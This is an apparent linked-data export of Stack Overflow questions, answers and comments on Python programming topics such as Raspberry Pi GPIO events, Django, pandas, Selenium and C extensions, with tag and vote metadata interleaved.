has body: I have a personal project using Raspberry Pi and two condenser mics. I am using the following listeners on each mic: GPIO.add_event_detect(mic1, GPIO.BOTH, bouncetime=500) GPIO.add_event_callback(mic1, soundHeard) GPIO.add_event_detect(mic2, GPIO.BOTH, bouncetime=500) GPIO.add_event_callback(mic2, soundHeard) When a sound is detected (I'm using digital trigger on the mics), the event sends in the pin number to the callback. I use the pin number to run a function. While that function is running, for approximately 10 seconds, I want both events to stop triggering completely until the function hands back control. Currently, the listeners keep sending in events and those events seem to be stacking above the function and then all run serially once the function has finished. I have tried using global variables with timestamps and various other methods to stop the event listeners to no avail. If I try to turn off the listeners and turn them back on I get Segmentation fault errors. Any help on this appreciated, cheers, Wittner
type: Question
has comment: http://stackoverflow.com/comment/85999248
has answer: http://stackoverflow.com/a/49497302
tagged with: raspberry-pi
has comment: http://stackoverflow.com/comment/86082845
answer count: 1
tagged with: gpio
downvote count: 0
has title: Raspberry Pi, Python - Dealing with multiple sensors on the pi
upvote count: 1
tagged with: callback
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/a/49688791
has comment: http://stackoverflow.com/comment/86392013
has comment: http://stackoverflow.com/comment/86391607
has comment: http://stackoverflow.com/comment/86393865
has comment: http://stackoverflow.com/comment/86393126
has comment: http://stackoverflow.com/comment/86394112
type: Answer
has comment: http://stackoverflow.com/comment/86393350
has comment: http://stackoverflow.com/comment/86391691
accepted answer of: http://stackoverflow.com/q/49581078
has comment: http://stackoverflow.com/comment/86393266
has comment: http://stackoverflow.com/comment/86393994
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/49581078
type: AcceptedAnswer
has body: Target link is hidden and so wait for its visibility will always fail. You should try to handle button node instead: item = wait.until(EC.visibility_of_element_located((By.XPATH, "//li[span='Share &amp; more']"))) item.click() wait.until(lambda driver: "drophover" in item.get_attribute("class")) item.find_element_by_xpath("//button[.='Get as Excel Workbook (experimental)']").click()
has comment: http://stackoverflow.com/comment/86391536

http://stackoverflow.com/q/49460800
type: Question
has comment: http://stackoverflow.com/comment/85939109
answer count: 0
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85926598
linked to: http://stackoverflow.com/q/9786102
has comment: http://stackoverflow.com/comment/85934409
has body: I'm working on a problem that requires me to run X (10, 20 or 30) processes at once, at the same time. Is that possible? My understanding of computer architecture is weak, sorry about that. I've looked into Python 3's multiprocessing module, but I couldn't get it to work as I intend. For example: def test(number): for i in range(4): print("process {}, iteration {}".format(number, i)) pool = ThreadPool(4) processes = [i for i in range(10)] pool.map(test, processes) Output is something like this: process 0, iteration 0 process 0, iteration 1 process 0, iteration 2 process 0, iteration 3 process 1, iteration 0 process 1, iteration 1 process 1, iteration 2 process 1, iteration 3 ... What I'd want is: process 0, iteration 0 process 1, iteration 0 process 2, iteration 0 process 3, iteration 0 process 4, iteration 0 ... process 9, iteration 0 process 0, iteration 1 ... It doesn't really matter to me the order that the iterations occur, just that all 10 processes start at the same time. Python's pool method seems to be start N processes, then waits for them to finish, then starts the next N processes, etc. I'd like to start all processes at once. Is that possible? Thanks!
score: 0
has comment: http://stackoverflow.com/comment/85927928
has title: Python Starting X Processing at the exact same time

java
tags question: http://stackoverflow.com/q/49458593
tags question: http://stackoverflow.com/q/49477614
tag name: java
tags question: http://stackoverflow.com/q/49464637
tags question: http://stackoverflow.com/q/49536260
tags question: http://stackoverflow.com/q/49468908
tags question: http://stackoverflow.com/q/49492655
tags question: http://stackoverflow.com/q/49536784
tags question: http://stackoverflow.com/q/49458739
tags question: http://stackoverflow.com/q/49567998
tags question: http://stackoverflow.com/q/49474288
tags question: http://stackoverflow.com/q/49482538
type: Tag
tags question: http://stackoverflow.com/q/49502889
tags question: http://stackoverflow.com/q/49471771
tags question: http://stackoverflow.com/q/49517304
tags question: http://stackoverflow.com/q/49519332
tags question: http://stackoverflow.com/q/49523724

http://stackoverflow.com/comment/86084986
type: QuestionComment
score: 0
has text: I get the same result, integer coefficients.
comment on: http://stackoverflow.com/q/49538330
type: Comment

http://stackoverflow.com/q/49563235
score: 0
answer count: 2
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/49563767
favorite count: 0
has body: I have 5 arrays I need to put into a table: Year, Month, Day, number, ratio The year arrays look like [2013,2014,2015] month looks like [01,02,03,04] day looks the same as month number is an integer 1-4 ratio is a float 64 type Not really sure what I'm doing wrong to put these in a table with header names. I used the np.column_stack of those 5 which would give me something like [2013,01,02,1,.7584847584] which is what I would like but in a table. I'm confused on whether I'm using the right function or if there is another type of tabular data function I need to use.
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49563305
type: Question
has comment: http://stackoverflow.com/comment/86134640
tagged with: python
type: UnansweredQuestion
tagged with: python-3.6
has title: How to make a table for these data types?

http://stackoverflow.com/comment/86070105
has text: Maybe you need to flush after commit if autoflush isnt on
type: Comment
comment on: http://stackoverflow.com/q/49531988
type: QuestionComment
score: 1

http://stackoverflow.com/q/49556351
has comment: http://stackoverflow.com/comment/86120776
has title: my session key doesn't exist even it is stored in DB
type: UnansweredQuestion
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/86120272
score: 0
has comment: http://stackoverflow.com/comment/86120648
answer count: 0
has comment: http://stackoverflow.com/comment/86120188
has body: when i tried to store the session key in the database, it is successfully done and I can see it from the admin portal, I have used the following code to store the session_key if not kwargs.get(('request')).session.session_key: kwargs.get(('request')).session.save() UserSession.objects.create( user=instance, IPAddress=get_IP(kwargs.get('request')), sessionkey=kwargs.get(('request')).session.session_key) The following is my model class UserSession(models.Model): user = models.ForeignKey(User, blank=True, null=True, on_delete=models.CASCADE) IPAddress = models.CharField(max_length=225) sessionkey=models.CharField(max_length=100,blank=True,null=True) timestamp = models.DateTimeField(auto_now_add=True) active=models.BooleanField(default=True) ended=models.BooleanField(default=False) **but when i tried to access it using ** from django.contrib.sessions.models import Session Session.objects.get(pk='0wjxg94sr5aosndyit7ki1dhuiuw6ovg') **it gave me the following error ** django.contrib.sessions.models.DoesNotExist: Session matching query does not exist **and indeed didn't find my session_key when i used the following command ** Session.objects.all()
type: Question

http://stackoverflow.com/a/49518723
answers question: http://stackoverflow.com/q/49514911
has body: Why use a 2D array? You are just swapping its members (1D arrays) rather than the characters in your string. Just pass in the string itself - the indexing operator can access each character. Also, remember that the + operator is non-commutative for strings: def swap(s): if len(s) == 0: return "" elif len(s) == 1: return s return s[1] + s[0] + swap(s[2:]) print(swap("abcdefgh")) # --&gt; badcfehg
has comment: http://stackoverflow.com/comment/86048129
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49514911
type: Answer
score: 2

http://stackoverflow.com/q/49538148
has comment: http://stackoverflow.com/comment/86089748
type: UnansweredQuestion
has body: Tensorflow beginner here. My data is split into two csv files, a.csv and b.csv, relating to two different events a and b. Both files contain information on the users concerned and, in particular, they both have a user_id field that I can use to merge the data sets. I want to train a model to predict the probability of b happening based on the features of a. For doing this, I need to append a label column 'has_b_happened' to the data A retrieved from a.csv. In scala spark, I would do something like: val joined = A .join(B.groupBy("user_id").count, A("user_id") === B("user_id"), "left_outer") .withColumn("has_b_happened", col("count").isNotNull.cast("double")) In tensorflow, however, I haven't found anything comparable to spark's join. Is there a way of achieving the same result or am I trying to use the wrong tool for it?
tagged with: python
tagged with: data-processing
has comment: http://stackoverflow.com/comment/86097021
has comment: http://stackoverflow.com/comment/86115017
has comment: http://stackoverflow.com/comment/86089917
answer count: 0
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86085823
score: 1
has title: Adding labels to a dataset in tensorflow by using a second dataset
tagged with: tensorflow
favorite count: 0
has comment: http://stackoverflow.com/comment/86102432
type: Question

ironpython
tags question: http://stackoverflow.com/q/49571314
tag name: ironpython
tags question: http://stackoverflow.com/q/49518986
type: Tag
tags question: http://stackoverflow.com/q/49591486

http://stackoverflow.com/q/49475436
possible better answer: http://stackoverflow.com/a/49475597
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49475505
tagged with: list
has comment: http://stackoverflow.com/comment/85953603
has body: There are many many questions surrounding this, some using regex, some using with open, and others but I have found none suitably fit my requirements. I am opening a xml file which contains strings, 1 per line. e.g setup is in progress… I want to iterate over each line in the file and search each line for exact matches of words in a list. The current code seems to work and prints out matches but it doesn't do exact matches, e.g 'pass' finds 'passed', 'pro' finds 'provide', 'process', 'proceed' etc def stringRun(self,file): str_file = ['admin','premium','pro','paid','pass','password','api'] with open(file, 'r') as sf: for s in sf: if any(x in str(s) for x in str_file): self.progressBox.AppendText(s)
has answer: http://stackoverflow.com/a/49475597
score: 1
has answer: http://stackoverflow.com/a/49475505
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85953608
answer count: 2
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/85953490
tagged with: python
has title: Search file for exact match of word list

http://stackoverflow.com/q/49503235
has title: `table "django_migrations" already exists` error with Python 3 and SQLite3
type: AnsweredQuestion
has body: I've recently started receiving an error that I'm having trouble identifying with a Django project using SQLite. The project linked below was/is previously Python 2/3 compatible, though I primarily ran it using Python 2. Recently, I switched over most of my computers and projects to default to using Python 3 (I know, better late than never, right?). Additionally, I upgraded the project from Django 1.7 to 1.11. After this, the project started receiving the table already exists error, but only when running the migrate command using python3. I also only get the error when running python3 manage.py migrate. For instance, python3 manage.py test works just fine, which is a bit baffling given test first runs the migrations. Running python2 manage.py migrate works just fine, no errors. I am running Python 3.6.4, installed via Homebrew on a Mac, and the error I received is: File "/usr/local/lib/python3.6/site-packages/django/db/migrations/recorder.py", line 59, in ensure_schema raise MigrationSchemaMissing("Unable to create the django_migrations table (%s)" % exc) django.db.migrations.exceptions.MigrationSchemaMissing: Unable to create the django_migrations table (table "django_migrations" already exists) I run into this exact same issue—broken with Python 3 but working with Python 2—on multiple computers, so I'd imagine anyone else will see the same issue. You should be able to reproduce the issue with the following steps: git clone git@github.com:alexdlaird/django-bootstrap-authentication-template-project.git &amp;&amp; cd django-bootstrap-authentication-template-project make install python2 manage.py migrate - note that it works just fine rm db.sqlite for a fresh start python3 manage.py migrate - note that it fails with the error shown above 5x. rm db.sqlite for a fresh start 5x. python3 manage.py test - note that it works just fine To see the migrations run against a MySQL instance (the project assumes you have a default Homebrew MySQL instance running locally, but this …
downvote count: 0
has comment: http://stackoverflow.com/comment/86288852
score: 1
has comment: http://stackoverflow.com/comment/86289026
tagged with: sqlite
type: Question
tagged with: python-3.x
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/49641729
linked to: http://stackoverflow.com/q/2744632
has answer: http://stackoverflow.com/a/49505445
accepted answer: http://stackoverflow.com/a/49641729
possible better answer: http://stackoverflow.com/a/49505445
tagged with: django
tagged with: python
tagged with: python-3.6
favorite count: 0

http://stackoverflow.com/comment/85890998
type: QuestionComment
has text: UUID is not an integer, so you can't save an integer value to it. Why don't you let Django auto-generate the UUID for you? See https://docs.djangoproject.com/en/2.0/ref/models/fields/#uuidfield where you just set `default=uuid.uuid4`. Similarly if you want to use an integer field, just let Django auto-increment for you. Trying to generate the next ID yourself is not safe fro race conditions.
score: 0
comment on: http://stackoverflow.com/q/49444648
type: Comment

http://stackoverflow.com/comment/86147724
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49569908
has text: after converting i am trying to plot key points on images using drawKeyPoints but it is saying give a valid keypoint type as argument
score: 0

http://stackoverflow.com/comment/86159696
has text: @Balakumar No problem! I've now amended the answer to mention the threading issue. Feel free to [accept the answer](https://meta.stackexchange.com/a/5235) if the issue is resolved.
score: 0
comment on: http://stackoverflow.com/a/49544381
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49538681
score: 1
answers question: http://stackoverflow.com/q/49518242
upvote count: 1
has body: I am not sure if I completely understood your question. You just want to get the text that is in the QComboBox when you click on the button? If that is the case then it's pretty simple. First you need to get the current text in the QComboBox then put it in the QLineEdit. Your don't need the to use a Signal here. So you can remove the following line: self.templatetype.activated[str].connect(self.change_text) And update your change_text method like this. def change_text(self): current_value = self.templatetype.currentText() self.lineEdit.setText(current_value)
downvote count: 0
type: Answer

http://stackoverflow.com/comment/86019427
has text: Yes, use `.reset_index()` on the result. You can rename / replace via a dictionary. There are *many* questions on SO asking for the same.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49496248
type: AnswerComment

http://stackoverflow.com/comment/86191094
comment on: http://stackoverflow.com/q/49591323
has text: @Gregory - That second one _is_ a duplicate... or I should say my question is a duplicate of that one. I would agree the OP for that question is asking the same thing as I am. Looks like the answer is no different! Thanks again.
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49532859
tagged with: python-extensions
has answer: http://stackoverflow.com/a/49716098
tagged with: python
has body: I want to write a python object in c that holds a numpy vector (two actually, but just one in this minimal example). To begin with, I just want to create an object with a numpy array and see that I can add one to all the array-elements in a loop. But even this causes weird (reproducible) behavior and segfaults. Here is what happens (REPL): from rletest import Rle r = Rle(range(1, 10)) r.runs # array([1., 2., 3., 4., 5., 6., 7., 8., 9.]) r.add() r.runs # array([ 2., 3., 4., 5., 6., 7., 8., 9., 10.]) r.add() fish: 'python' terminated by signal SIGSEGV (Address boundary error) I can work around this like so: ... r2 = r.add() &gt;&gt;&gt; r3 = r2.add() &gt;&gt;&gt; r4 = r3.add() &gt;&gt;&gt; r4.runs array([ 4., 5., 6., 7., 8., 9., 10., 11., 12.]) I suspect this has something to do with reference counting? I am a complete newb to this and clueless. Any help appreciated. This function (or my use of it) is likely the offender: static PyObject * Rle_add(Rle* self) { int N = (int)PyArray_DIM(self-&gt;runs, 0); double *x = (double*)PyArray_DATA(self-&gt;runs); add(x, N); return (PyObject *)self; } It changes the array in-place for speed, but that should not lead to the bug, as you see from the work-around above. Below follows my code so this is reproducible. I have the following files: test_rle.c: #include &lt;Python.h&gt; #include &lt;numpy/arrayobject.h&gt; #include "structmember.h" #include "add.h" /* static PyObject *add(PyObject *self, PyObject *args); */ typedef struct { PyObject_HEAD PyObject *runs; /* run lengths */ } Rle; static void Rle_dealloc(Rle* self) { Py_XDECREF(self-&gt;runs); Py_TYPE(self)-&gt;tp_free((PyObject*)self); } static PyObject * Rle_new(PyTypeObject *type, PyObject *args, PyObject *kwds) { printf("New was called! New was called! New was called!\n"); Rle *self; PyObject *rs, *vs; import_array(); if (!PyArg_ParseTuple(args, "O", &amp;rs)) return NULL; PyObject *runs = PyArray_FROM_OTF(rs, NPY_DOUBLE, NPY_IN_ARRAY); self = (Rle *)type-&gt;tp_alloc(typ…
type: AnsweredQuestion
score: 0
has title: My PyCFunction works the first time but leads to a segfault after successive iterations
answer count: 1
type: Question
tagged with: numpy
accepted answer: http://stackoverflow.com/a/49716098

http://stackoverflow.com/a/61737927
has body: You installed the "wrong" pybel. For those who use Acaconda, you should search openbabel and install it. After you install openbabel, you should be able to use pybel. Don't search and install pybel directly, pybel itself doesn't work. You should do the following: conda uninstall pybel, conda install -c openbabel openbabel
score: 1
downvote count: 1
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/49462599

http://stackoverflow.com/comment/86056825
has text: Thanks for the interesting tests. It's weird that the example does not work for you. It works for me in Python 3.5 and 3.6. Anyways, I would appreciate if you can confirm there is no other way to achieve this than the example. Maybe I have to live with that style of dtype.
comment on: http://stackoverflow.com/a/49503876
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/86309307
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49640949
has text: Thanks a lot, very nice!
type: AnswerComment

http://stackoverflow.com/comment/113812406
type: AnswerComment
comment on: http://stackoverflow.com/a/49499968
has text: what would one do if they have string values and would like to maintain them
score: 2
type: Comment

http://stackoverflow.com/comment/86042674
type: Comment
comment on: http://stackoverflow.com/a/49518536
type: AnswerComment
score: 0
has text: I'm pretty sure that `.values()` returns a `ValuesQuerySet` object - also not json serializable unless I'm mistaken

http://stackoverflow.com/q/49547245
has answer: http://stackoverflow.com/a/50499360
upvote count: 20
score: 20
downvote count: 0
tagged with: pandas
linked to: http://stackoverflow.com/q/40222583
type: UnansweredQuestion
answer count: 1
has body: I try to fit Autoregression by sm.tsa.statespace.SARIMAX. But I meet a warning, then I want to set frequency information for this model. Who used to meet it, can you help me ? fit1 = sm.tsa.statespace.SARIMAX(train.Demand, order=(1, 0, 0), enforce_stationarity=False, enforce_invertibility=False).fit() y_hat['AR'] = fit1.predict(start="1975-01-01", end="1975-12-01", dynamic=True) plt.figure(figsize=(16,8)) plt.plot( train['Demand'], label='Train') plt.plot(test['Demand'], label='Test') plt.plot(y_hat_avg['AR'], label='AR') plt.legend(loc='best') plt.show() C:\Users\thach.le\Anaconda3\lib\site-packages\statsmodels-0.8.0-py3.6-win- amd64.egg\statsmodels\tsa\base\tsa_model.py:165: ValueWarning: No frequency information was provided, so inferred frequency MS will be used. % freq, ValueWarning) Thanks
favorite count: 0
tagged with: statsmodels
has comment: http://stackoverflow.com/comment/88011496
has title: ValueWarning: No frequency information was provided, so inferred frequency MS will be used
tagged with: frequency
has comment: http://stackoverflow.com/comment/133846846
tagged with: python
type: Question

http://stackoverflow.com/a/49474416
has comment: http://stackoverflow.com/comment/85951608
has comment: http://stackoverflow.com/comment/85951515
type: Answer
has comment: http://stackoverflow.com/comment/85951665
has comment: http://stackoverflow.com/comment/85951842
has comment: http://stackoverflow.com/comment/85951725
score: 0
has comment: http://stackoverflow.com/comment/85952360
has comment: http://stackoverflow.com/comment/85951389
has body: You should use raw_input to read user input as a string. As per your requirement, you can try this code def check_guess(guess="a", letter="g"): guess = raw_input("enter input for guess: ") if guess.isalpha()==False: print("invalid" , guess.isalpha()) elif guess&gt;letter: print("High") elif guess&lt;letter: print("Low") else: print(guess==letter) return True return False def letter_guess(): input_letter = raw_input("Enter the Answer letter for match: ") for x in range(3): status = check_guess(letter=input_letter) if status is True: return True return False if __name__ == '__main__': letter_guess() Hope this helps!
answers question: http://stackoverflow.com/q/49474081

http://stackoverflow.com/comment/86047162
type: Comment
type: QuestionComment
has text: Thanks for the feedback. The problem involves a parameter-dependent Hamiltonian matrix diagonalization and the comparison of the obtained energy values with experimental term values. The output of the residual function is this set of energy differences (residuals). This calculation involves a Fortran program and I used to perform the parameter optimization with the Minuit Fortran subroutine. I will try to extract the parameter values from the residual function as you suggest to see if this can help..
score: 0
comment on: http://stackoverflow.com/q/49517038

http://stackoverflow.com/a/51083959
type: Answer
score: 0
has body: The sample application you linked to is a sample signalr server so that the python-client has something to talk to - if you have a signalr service already, you do not need to build or run that (.net) app to use the python signalr-client client in your python programs. See the requirements file: https://github.com/TargetProcess/signalr-client-py/blob/develop/requirements . Python only!
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49524210
answers question: http://stackoverflow.com/q/49524210

http://stackoverflow.com/q/49571007
accepted answer: http://stackoverflow.com/a/49743396
type: Question
tagged with: c++
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86248667
has body: I have a problem when I try to debug my C++ extension for Python. The error is Fatal Python error: PyThreadState_Get: no current thread I followed this guide and it works when I run in the release version. Python code: from itertools import islice from random import random from time import perf_counter COUNT = 500000 # Change this value depending on the speed of your computer DATA = list(islice(iter(lambda: (random() - 0.5) * 3.0, None), COUNT)) e = 2.7182818284590452353602874713527 def sinh(x): return (1 - (e ** (-2 * x))) / (2 * (e ** -x)) def cosh(x): return (1 + (e ** (-2 * x))) / (2 * (e ** -x)) def tanh(x): tanh_x = sinh(x) / cosh(x) return tanh_x def sequence_tanh(data): '''Applies the hyperbolic tangent function to map all values in the sequence to a value between -1.0 and 1.0. ''' result = [] for x in data: result.append(tanh(x)) return result def test(fn, name): start = perf_counter() result = fn(DATA) duration = perf_counter() - start print('{} took {:.3f} seconds\n\n'.format(name, duration)) for d in result: assert -1 &lt;= d &lt;=1, " incorrect values" from superfastcode import fast_tanh if __name__ == "__main__": test(lambda d: [fast_tanh(x) for x in d], '[fast_tanh(x) for x in d]') C++ code: #include &lt;Python.h&gt; #include &lt;cmath&gt; const double e = 2.7182818284590452353602874713527; double sinh_impl(double x) { return (1 - pow(e, (-2 * x))) / (2 * pow(e, -x)); } double cosh_impl(double x) { return (1 + pow(e, (-2 * x))) / (2 * pow(e, -x)); } PyObject* tanh_impl(PyObject *, PyObject* o) { double x = PyFloat_AsDouble(o); double tanh_x = sinh_impl(x) / cosh_impl(x); return PyFloat_FromDouble(tanh_x); } static PyMethodDef superfastcode_methods[] = { // The first property is the name exposed to Python, fast_tanh, the second is the C++ // function name that contains the implementation. { "fast_tanh", (PyCFunction)tanh_impl, METH_O, nullptr }, // Terminate the array with an object containing nulls. { nullptr, nullptr, 0, nullptr } }; static PyModuleD…
tagged with: 64-bit
tagged with: python
has answer: http://stackoverflow.com/a/49743396
has comment: http://stackoverflow.com/comment/86149664
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86149739
upvote count: 1
has comment: http://stackoverflow.com/comment/86150901
answer count: 1
downvote count: 1
has title: Debugging C++ extension for Python
tagged with: windows-10
favorite count: 0

http://stackoverflow.com/q/49583890
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86176345
has body: How, can implement the following case in Python? I just can't figure out how to solve this problem. I currently finish the case1. enter image description here CASE – 1 [ Enter Correct Username and Password ] CASE – 2 [ Both Email and Password Fields are blank.] CASE – 3 [ Email field is filled and Password field is blank. ] CASE – 4 [ Email field is blank and Password field is filled ] CASE – 5 [ Email and Password are entered wrong ] CASE – 6 [ Email is wrong and Password is correct ] CASE – 7 [ Email is correct and Password is wrong ] Thank you.
has answer: http://stackoverflow.com/a/49584562
accepted answer: http://stackoverflow.com/a/49584562
tagged with: python
has comment: http://stackoverflow.com/comment/86176630
score: -1
has title: Selenium WebDriver Python for l login test with valid and invalid test data
tagged with: selenium-webdriver
tagged with: automated-tests
downvote count: 2
answer count: 1
tagged with: selenium
upvote count: 1
favorite count: 0

http://stackoverflow.com/a/49546603
accepted answer of: http://stackoverflow.com/q/49546421
score: 3
upvote count: 3
type: Answer
answers question: http://stackoverflow.com/q/49546421
has body: Selenium could be your best bet. It can (almost) whatever a browser can do Here is some example code to get you started: from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as ec from selenium.webdriver.support.ui import WebDriverWait drv = webdriver.Firefox() drv.get('yoururl.com') drv.find_element_by_css_selector('your_login_button_css').click() WebDriverWait(drv, Num of seconds to wait).until(ec.visibility_of_element_located((By.CSS_SELECTOR, 'login_input_field_css_selector'))).send_keys(USER) drv.find_element_by_css_selector('your_login_input_field_css').send_keys(PASSWORD) drv.find_element_by_css_selector('your_login_css').click() Alternatively, you could use your browser's Dev Tools to figure out what kind of request is being made, and try and replicate that. I'd try an go through this approach if you need serious scraping. In my very limited experience, I've never got this to work, but in theory it works! Lastly, you could use a hybrid approach where you login with Selenium, dump the cookies with drv.get_cookies(), and then use those cookies for every request you make.
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/a/49593255
accepted answer of: http://stackoverflow.com/q/49589618
has body: For everyone reading this question: The problem originated from registering "done callbacks" to a future for each available connection. This happened in a for loop, but the callback was never bound to the actual connection when the future completed but to the last connection of the for loop. Thus always the same connection object. The documentation advises to use functools to bind certain values to a future's callback. This finally worked (binding values in a for loop to the callback) and had no "funny" side-effects.
type: AcceptedAnswer
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49589618

http://stackoverflow.com/q/49593254
answer count: 1
upvote count: 2
type: UnansweredQuestion
has title: Is it possible to change the ttk.progressBar relief in python?
tagged with: user-interface
downvote count: 0
has answer: http://stackoverflow.com/a/51460042
favorite count: 0
type: Question
has body: I have a progress-bar using this code: s = ttk.Style() s.theme_use('alt') s.configure("blue.Horizontal.TProgressbar", troughcolor='#4d4d4d', background='#2f92ff', relief="flat") Pb = ttk.Progressbar(root, style="blue.Horizontal.TProgressbar", orient ="horizontal", length=350, mode="determinate") Pb.pack() It currently looks like this: Here's what the different reliefs look like if you're having a hard time seeing this: It currently appears to be "sunken". I want it to be "flat". I've read documentation for ttk but I can't find anything specific to the progress-bar, so I'm wondering if this is even possible.
tagged with: ttk
tagged with: python
score: 2

teradata
type: Tag
tag name: teradata
tags question: http://stackoverflow.com/q/49595199
tags question: http://stackoverflow.com/q/49451731

http://stackoverflow.com/a/49526086
score: 3
type: Answer
has body: From the documentation at http://mpi4py.readthedocs.io/en/stable/mpi4py.futures.html#mpipoolexecutor MPIPoolExecutor takes advantage of the dynamic process management features introduced in the MPI-2 standard. In particular, the MPI.Intracomm.Spawn() method of MPI.COMM_SELF() is used in the master (or parent) process to spawn new worker (or child) processes running a Python interpreter. The master process uses a separate thread (one for each MPIPoolExecutor instance) to communicate back and forth with the workers. The worker processes serve the execution of tasks in the main (and only) thread until they are signaled for completion. My understanding is that MPI tasks of the pool are dynamically spawned, so you should really start only one MPI task (e.g. mpirun -np 1 ...)
answers question: http://stackoverflow.com/q/49514975
upvote count: 3
downvote count: 0

http://stackoverflow.com/comment/86146656
has text: Do not use `re.findall` twice. Use `res = re.findall(...)` and then display the message you want after checking `res` length.
comment on: http://stackoverflow.com/q/49569338
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/85967774
type: QuestionComment
has text: Why would it not be a pure function?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49482435

http://stackoverflow.com/q/49446923
accepted answer: http://stackoverflow.com/a/49447383
downvote count: 0
has comment: http://stackoverflow.com/comment/85895870
linked to: http://stackoverflow.com/q/37102824
tagged with: string
linked to: http://stackoverflow.com/q/47749018
has title: How to identify empty strings in Pandas series
favorite count: 0
tagged with: series
type: Question
score: 5
has comment: http://stackoverflow.com/comment/85895453
upvote count: 5
has comment: http://stackoverflow.com/comment/85895771
has body: I have a dataframe and I want to populate 'column3' with value of column 'name' if column 'gender' is empty, else with value of column 'gender' vals = { 'name' : ['n1', 'n2', 'n3', 'n4', 'n5', 'n6', 'n7'], 'gender' : ['', '', '', 'f', 'f', 'c', 'c'], 'age' : [39, 12, 27, 13, 36, 29, 10] } df4 = pd.DataFrame(vals) df4['column3'] = df4['name'] if len(df4['gender']) == 0 else df4['gender'] The result is that column3 has only values taken from 'gender'. I've tried the following statements: df4['column3'] = np.where(df4['gender'].empty, df4['name'],df4['gender']) df4['column3'] = df4['name'] if df4['gender'].empty else df4['gender'] Same results..so I am thinking that my code is not able to identify an empty string in a Python Dataframe. What am I missing?
has answer: http://stackoverflow.com/a/49447383
tagged with: dataframe
tagged with: python
possible better answer: http://stackoverflow.com/a/49447063
has answer: http://stackoverflow.com/a/49447166
has answer: http://stackoverflow.com/a/49447063
has comment: http://stackoverflow.com/comment/85896120
type: AnsweredQuestion
answer count: 3
tagged with: pandas

http://stackoverflow.com/q/49460486
has answer: http://stackoverflow.com/a/50279165
has answer: http://stackoverflow.com/a/63293290
has answer: http://stackoverflow.com/a/49472767
has answer: http://stackoverflow.com/a/56688752
has comment: http://stackoverflow.com/comment/88913251
downvote count: 0
has answer: http://stackoverflow.com/a/65853540
tagged with: django
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/67231776
favorite count: 0
has comment: http://stackoverflow.com/comment/92080196
tagged with: heroku
has body: I'm trying to deploy a large django project to heroku. I installed Heroku CLI, logged in, created an app and ran: git push heroku master I have a Pipfile and requirements.txt already set up. I added a runtime.txt to specify that I need python 2.7. This is also in the Pipfile. This is what I get from pushing to heroku: $ git push heroku master Counting objects: 12159, done. Delta compression using up to 2 threads. Compressing objects: 100% (4853/4853), done. Writing objects: 100% (12159/12159), 20.94 MiB | 1.82 MiB/s, done. Total 12159 (delta 6859), reused 12036 (delta 6751) remote: Compressing source files... done. remote: Building source: remote: remote: -----&gt; Python app detected remote: -----&gt; Installing python-3.6.4 remote: -----&gt; Installing pip remote: -----&gt; Installing dependencies with Pipenv 11.8.2… remote: Your Pipfile.lock (3b2ba9) is out of date. Expected: (83a5b4). remote: Aborting deploy. remote: ! Push rejected, failed to compile Python app. remote: remote: ! Push failed remote: Verifying deploy.... remote: remote: ! Push rejected to camp-infinity. remote: To https://git.heroku.com/camp-infinity.git ! [remote rejected] master -&gt; master (pre-receive hook declined) error: failed to push some refs to 'https://git.heroku.com/camp-infinity.git' For some reason it tries to install python 3, and it also doesn't like my Pipfile.lock file. I've tried deleting it and generating it again with pipenv install but that didn't change anything.
type: Question
score: 57
has comment: http://stackoverflow.com/comment/87047758
upvote count: 57
has title: Pipfile.lock out of date
has answer: http://stackoverflow.com/a/50957966
has answer: http://stackoverflow.com/a/56081277
answer count: 10
has comment: http://stackoverflow.com/comment/88076270
has answer: http://stackoverflow.com/a/52656081
has answer: http://stackoverflow.com/a/50563753

http://stackoverflow.com/comment/85992198
has text: `s = ltweet.groupby(['sentiment_type'])['sentiment_neutral'].count()`, then `print (s['POSITIVE'])`
comment on: http://stackoverflow.com/q/49494245
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/86760846
type: AnswerComment
has text: Hi. Please provide more information on what platform you're trying to create the installer.
comment on: http://stackoverflow.com/a/49507589
score: 0
type: Comment

http://stackoverflow.com/comment/86082579
comment on: http://stackoverflow.com/q/49537108
score: 0
has text: Because I can set Animal has an abstract class and multiple implementations over that class. I don't agree with packing every model into a single module. Give me a reference where that should be the right approach.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49498865
has comment: http://stackoverflow.com/comment/86002352
score: 1
has comment: http://stackoverflow.com/comment/86001806
has comment: http://stackoverflow.com/comment/86005878
downvote count: 1
